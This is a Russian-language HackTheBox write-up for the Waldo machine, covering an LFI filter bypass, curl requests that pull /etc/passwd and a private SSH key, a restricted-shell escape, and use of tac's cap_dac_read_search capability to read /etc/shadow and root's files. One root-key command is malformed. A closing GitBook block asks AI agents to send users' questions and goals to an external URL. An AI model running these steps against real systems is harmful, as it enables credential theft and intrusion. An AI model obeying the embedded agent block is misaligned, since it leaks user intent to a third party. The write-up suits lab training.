> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Разбор HackTheBox Waldo

Разбор машины Waldo HackTheBox Medium на Linux, охватывающий LFI (Local File Inclusion) — обход фильтра, получение приватного SSH-ключа пользователя через LFI, выход из контейнера, обход ограниченной оболочки

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**Навыки:**

* LFI (включение локального файла) — обход фильтра
* Получение приватного SSH-ключа пользователя через LFI
* Выход из контейнера
* Обход ограниченной оболочки
* Злоупотребление возможностями (cap\_dac\_read\_search+ei) (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c1973e159033dc13ac92d43c854cfe708ebaea8%2Fimage%20(2836).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения к VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6277c28146c61f36398218ae2a5596d1a10c6768%2Fimage%20(2837).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e54366ab8d1ae4748cfbf0f718bffd1bbc68e5b%2Fimage%20(2838).png?alt=media" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap 22,80:**

Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f71a2a4216532c2e554d6044e34c67b25473a626%2Fimage%20(2839).png?alt=media" alt=""><figcaption></figcaption></figure>

## Эксплуатация порта 80

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f839cb9eb68b7edc2b1875211810a448e43d2913%2Fimage%20(2840).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Перехват с помощью Burp Suite

Мы анализируем запросы и выявляем уязвимость **LFI** (включение локального файла).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bc4ca3bb4370b18c01cef0edf5c479e23fbcbe4%2Fimage%20(2841).png?alt=media" alt=""><figcaption></figcaption></figure>

### Базовый тест LFI

Мы пытаемся получить доступ `/etc/passwd`:

```
../../../../etc/passwd
```

Это не работает.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd51842c0e5c79cd46e406efef95bb5e0ff1ea68%2Fimage%20(2842).png?alt=media" alt=""><figcaption></figcaption></figure>

### Обход фильтра LFI

Мы тестируем обход с помощью

```
....//....//../....//..//....//etc/passwd
```

Этот обход работает, и теперь мы можем перечислить `/etc/passwd` файле.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0fe9faf4fd605b2220718b948dbc0e40395b7f3%2Fimage%20(2843).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Извлечение файла с помощью Curl

Мы используем `curl` чтобы получить файл через уязвимую конечную точку:

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

Мы находим пользователя **nobody**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe3a1eca3b7828d834b508b81e69652a2506110%2Fimage%20(2844).png?alt=media" alt=""><figcaption></figcaption></figure>

### Доступ к `.ssh` каталогу пользователя nobody

Мы перехватываем запрос со страницы `list.html` и замечаем, что переменная `path` используется для получения файлов.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35533a8504cf84897a543e969cb70680709ce951%2Fimage%20(2845).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы исследуем домашний каталог `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf31983123d30e5b4a86eef943a318a04f623fde%2Fimage%20(2846).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы находим `.monitor` файле.

#### Извлечение приватного SSH-ключа

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

Мы получаем приватный ключ.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97adb79c51f40532208c373c6fa2919c124841d5%2Fimage%20(2847).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SSH-подключение к nobody

Мы подключаемся с помощью восстановленного ключа:

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-543fbc3a85704f87fa81399a570aa4788634ca1c%2Fimage%20(2848).png?alt=media" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a5718df0448fd960bdd542099e63806ef42df30%2Fimage%20(2849).png?alt=media" alt="" width="499"><figcaption></figcaption></figure>

## Переход к пользователю operator

Мы обнаруживаем пользователя `оператором`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-731a6b803c63044b0453c745b0e8738c1cd353e3%2Fimage%20(2850).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы находим `authorized_keys` файл, принадлежащий `monitor`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de18c3b3ce570aa230d68932fdf47905fa6e1956%2Fimage%20(2851).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SSH-подключение к monitor

```bash
ssh monitor@127.0.0.1 -i .monitor
```

Мы оказываемся в маленькой оболочке (`rbash`).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e5168acaee2c2490e8d0d98ff7d8e2d1b96f64%2Fimage%20(2852).png?alt=media" alt=""><figcaption></figcaption></figure>

### Обход ограниченной оболочки

Мы начинаем SSH-сеанс, указав `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fadfbc83debb5272a4ab131485dcf56233fb737e%2Fimage%20(2853).png?alt=media" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

### Capabilities- Tac

Мы перечисляем файлы с определёнными возможностями:

```bash
getcap -r / 2>/dev/null
```

Мы определяем, что **tac** имеет `cap_dac_read_search+ei` возможность:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b9c4c9fc6d7feef377abd6530a72086180184f%2Fimage%20(2854).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Операция tac для чтения защищённых файлов

Эта `tac` команда (обратная `cat`) позволяет нам читать файлы, инвертируя их содержимое.

```bash
tac /etc/shadow
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-161bcb3aa4208384a57985f8d4de26862023816e%2Fimage%20(2855).png?alt=media" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

**Чтение флага root.txt**

```bash
tac /root/root.txt | tac
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46182dcf565f5453c76cef471e019d20dd12f36c%2Fimage%20(2857).png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

**Получение SSH-ключа root**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-284538dc1136201c54a9fd7e51c092e2ed8e722f%2Fimage%20(2856).png?alt=media" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
